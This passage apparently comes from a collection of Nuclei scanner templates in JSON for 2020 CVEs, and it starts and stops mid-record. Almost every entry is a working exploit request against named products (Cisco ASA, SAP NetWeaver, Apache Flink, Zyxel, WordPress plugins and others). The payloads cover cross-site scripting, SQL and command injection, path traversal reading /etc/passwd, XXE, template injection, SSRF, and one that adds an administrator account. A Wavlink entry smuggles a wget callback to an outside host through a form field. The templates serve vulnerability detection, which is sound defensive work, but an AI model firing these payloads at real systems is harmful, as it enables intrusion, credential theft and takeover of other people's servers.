Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"></script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13121","info":{"name":"Submitty <= 20.04.01 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/authentication/login\n\nuser_id={{username}}&password={{password}}&stay_logged_in=on&login=Login\n"],"cookie-reuse":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-8163","info":{"name":"Ruby on Rails <5.0.1 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-3187","info":{"name":"Cisco Adaptive Security Appliance Software/Cisco Firepower Threat Defense - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/+CSCOE+/session_password.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["webvpn","Webvpn"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7980","info":{"name":"Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/libagent.cgi?type=J HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\nCookie: ctr_t=0; sid=123456789\n\n{\"O_\": \"A\", \"F_\": \"EXEC_CMD\", \"S_\": 123456789, \"P1_\": {\"Q\": \"cat /etc/passwd\", \"F\": \"EXEC_CMD\"}, \"V_\": 1}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9054","info":{"name":"Zyxel NAS Firmware 5.21- Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9315","info":{"name":"Oracle iPlanet Web Server 7.0.x - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2","{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"],"matchers-condition":"and","matchers":[{"type":"word","words":["Admin Console"]},{"type":"word","words":["serverConfigurationsGeneral","serverCertificatesGeneral"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22840","info":{"name":"b2evolution CMS <6.11.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2020-11455","info":{"name":"LimeSurvey 4.1.11 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35847","info":{"name":"Agentejo Cockpit <0.11.2 - NoSQL Injection","severity":"critical"},"requests":[{"raw":["POST /auth/requestreset HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"user\": {\n \"$func\": \"var_dump\"\n }\n}\n","POST /auth/requestreset HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"user\": {\n \"$func\": \"nonexistent_function\"\n }\n}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body_1","regex":["string\\([0-9]{1,3}\\)(\\s)?\"([A-Za-z0-9-.@\\s-]+)\""]},{"type":"regex","part":"body_1","negative":true,"regex":["string\\([0-9]{1,3}\\)(\\s)?\"(error404)([A-Za-z0-9-.@\\s-]+)\""]},{"type":"regex","part":"body_2","negative":true,"regex":["string\\([0-9]{1,3}\\)(\\s)?\"([A-Za-z0-9-.@\\s-]+)\""]}]}]},{"id":"CVE-2020-17362","info":{"name":"Nova Lite < 1.3.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"body","words":["nova-lite"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13117","info":{"name":"Wavlink Multiple AP - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: http://{{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["parent.location.replace"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35951","info":{"name":"Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92\n\n\n------WebKitFormBoundaryBJ17hSJBjuGrnW92\nContent-Disposition: form-data; name=\"action\"\n\nqsm_remove_file_fd_question\n------WebKitFormBoundaryBJ17hSJBjuGrnW92\nContent-Disposition: form-data; name=\"file_url\"\n\n{{fullpath}}wp-content/plugins/quiz-master-next/README.md\n------WebKitFormBoundaryBJ17hSJBjuGrnW92--\n","GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')"]},{"type":"word","part":"body","words":["{\"type\":\"success\",\"message\":\"File removed successfully\"}"]}],"extractors":[{"type":"regex","name":"fullpath","group":1,"regex":["not found in <b>([/a-z_]+)wp"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-9036","info":{"name":"Jeedom <=4.0.38 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>document.title = \"\";alert(document.domain);\" - Jeedom\"</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19360","info":{"name":"FHEM 6.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24912","info":{"name":"QCube Cross-Site-Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/assets/_core/php/profile.php","{{BaseURL}}/assets/php/profile.php","{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"],"body":"intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K=","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert('xss')</script>"]},{"type":"word","part":"header","words":["Content-Type: text/html"]}]}]},{"id":"CVE-2020-5191","info":{"name":"PHPGurukul Hospital Management System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /hospital/hms/admin/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&submit=&submit=\n","POST /hospital/hms/admin/doctor-specilization.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndoctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<td class=\"hidden-xs\"></td><script>alert(document.domain);</script><td>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5192","info":{"name":"Hospital Management System 4.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /hospital/hms/doctor/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}password={{password}}&submit=&submit=\n","POST /hospital/hms/doctor/search.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17518","info":{"name":"Apache Flink 1.5.1 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /jars/upload HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y\n\n------WebKitFormBoundaryoZ8meKnrrso89R6Y\nContent-Disposition: form-data; name=\"jarfile\"; filename=\"../../../../../../../tmp/poc\"\n\n{{randstr}}\n------WebKitFormBoundaryoZ8meKnrrso89R6Y--\n","GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1\n"],"matchers":[{"type":"dsl","dsl":["contains(body_2, \"{{randstr}}\") && status_code == 200"]}]}]},{"id":"CVE-2020-26413","info":{"name":"Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure","severity":"medium"},"requests":[{"raw":["POST /api/graphql HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"query\": \"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }\",\n \"variables\": null,\n \"operationName\": null\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"avatarUrl\":","\"node\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"json","json":[".data.users.edges[].node.email"],"part":"body"}]}]},{"id":"CVE-2020-18268","info":{"name":"Z-Blog <=1.5.2 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /zb_system/cmd.php?act=verify HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 81\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nbtnPost=Log+In&username={{username}}&password={{md5(\"{{password}}\")}}&savedate=0\n","GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-5405","info":{"name":"Spring Cloud Config - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24223","info":{"name":"Mara CMS 7.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19295","info":{"name":"Jeesns 1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>","JEESNS"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8641","info":{"name":"Lotus Core CMS 1.0.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page_slug=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9402","info":{"name":"Django SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1"],"matchers":[{"type":"word","words":["DatabaseError at","ORA-29257:","ORA-06512:","Request Method:"],"condition":"and"}]}]},{"id":"CVE-2020-36289","info":{"name":"Jira Server and Data Center - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin","{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["rel=\\\"admin\\\""]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9757","info":{"name":"Craft CMS < 3.3.0 - Server-Side Template Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}","{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["MetaLinkContainer","canonical","22344"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35729","info":{"name":"Klog Server <=2.41 - Unauthenticated Command Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/actions/authenticate.php"],"body":"user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}","matchers":[{"type":"word","words":["poc-testing"]}]}]},{"id":"CVE-2020-14864","info":{"name":"Oracle Fusion - Directory Traversal/Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1","{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13158","info":{"name":"Artica Proxy Community Edition <4.30.000000 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27467","info":{"name":"Processwire CMS <2.7.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?download=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7318","info":{"name":"McAfee ePolicy Orchestrator <5.10.9 Update 9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["Policy Name","'\"><svg/onload=alert(document.domain)>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6287","info":{"name":"SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition","severity":"critical"},"requests":[{"raw":["POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml; charset=UTF-8\nConnection: close\n\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>\n CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==\n</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["CTCWebServiceSi","SOAP-ENV"],"condition":"and"},{"type":"word","part":"header","words":["text/xml","SAP NetWeaver Application Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24148","info":{"name":"Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=moove_read_xml"],"body":"type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-17519","info":{"name":"Apache Flink - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-26876","info":{"name":"WordPress WP Courses Plugin Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/lesson/1"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["rest_post_invalid_id","\"(guid|title|content|excerpt)\":{\"rendered\":"],"condition":"or"},{"type":"status","status":[200,404],"condition":"or"}]}]},{"id":"CVE-2020-25078","info":{"name":"D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/config/getuser?index=0"],"matchers-condition":"and","matchers":[{"type":"word","words":["name=","pass="],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17506","info":{"name":"Artica Web Proxy 4.30 - Authentication Bypass/SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"],"host-redirects":true,"max-redirects":1,"matchers-condition":"and","matchers":[{"type":"word","words":["artica-applianc"]},{"type":"word","part":"header","words":["PHPSESSID"]},{"type":"status","status":[200,301,302],"condition":"or"}],"extractors":[{"type":"kval","kval":["PHPSESSID"]}]}]},{"id":"CVE-2020-35234","info":{"name":"SMTP WP Plugin Directory Listing","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/easy-wp-smtp/","{{BaseURL}}/wp-content/plugins/wp-mail-smtp-pro/"],"matchers":[{"type":"word","words":["debug","log","Index of"],"condition":"and"}]}]},{"id":"CVE-2020-11991","info":{"name":"Apache Cocoon 2.1.12 - XML Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/v2/api/product/manger/getInfo"],"body":"<!--?xml version=\"1.0\" ?-->\n<!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n<userInfo>\n<firstName>John</firstName>\n<lastName>&ent;</lastName>\n</userInfo>\n","headers":{"Content-Type":"text/xml"},"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-3580","info":{"name":"Cisco ASA/FTD Software - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(/{{randstr}}/)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9376","info":{"name":"D-Link DIR-610 Devices - Information Disclosure","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/getcfg.php"],"body":"SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<name>Admin</name>","</usrid>","</password>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10973","info":{"name":"WAVLINK - Access Control","severity":"high"},"requests":[{"raw":["GET /backupsettings.dat HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Salted__"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-21224","info":{"name":"Inspur ClusterEngine 4.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/login"],"body":"op=login&username=;`cat /etc/passwd`&password=\n","headers":{"Content-Type":"application/x-www-form-urlencoded","Referer":"{{Hostname}}/module/login/login.html"},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8209","info":{"name":"Citrix XenMobile Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["fileDownload=true","application/octet-stream","attachment;"],"condition":"and"},{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-19282","info":{"name":"Jeesns 1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6308","info":{"name":"SAP BusinessObjects Business Intelligence Platform - Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["POST /AdminTools/querybuilder/logon?framework= HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naps={{interactsh-url}}&usr=anything&pwd=anything&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"location","words":["{{BaseURL}}/AdminTools/querybuilder/logonform.jsp"]}]}]},{"id":"CVE-2020-3452","info":{"name":"Cisco Adaptive Security Appliance (ASA)/Firepower Threat Defense (FTD) - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../","{{BaseURL}}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua"],"matchers":[{"type":"word","words":["INTERNAL_PASSWORD_ENABLED","CONF_VIRTUAL_KEYBOARD"],"condition":"and"}]}]},{"id":"CVE-2020-13820","info":{"name":"Extreme Management Center 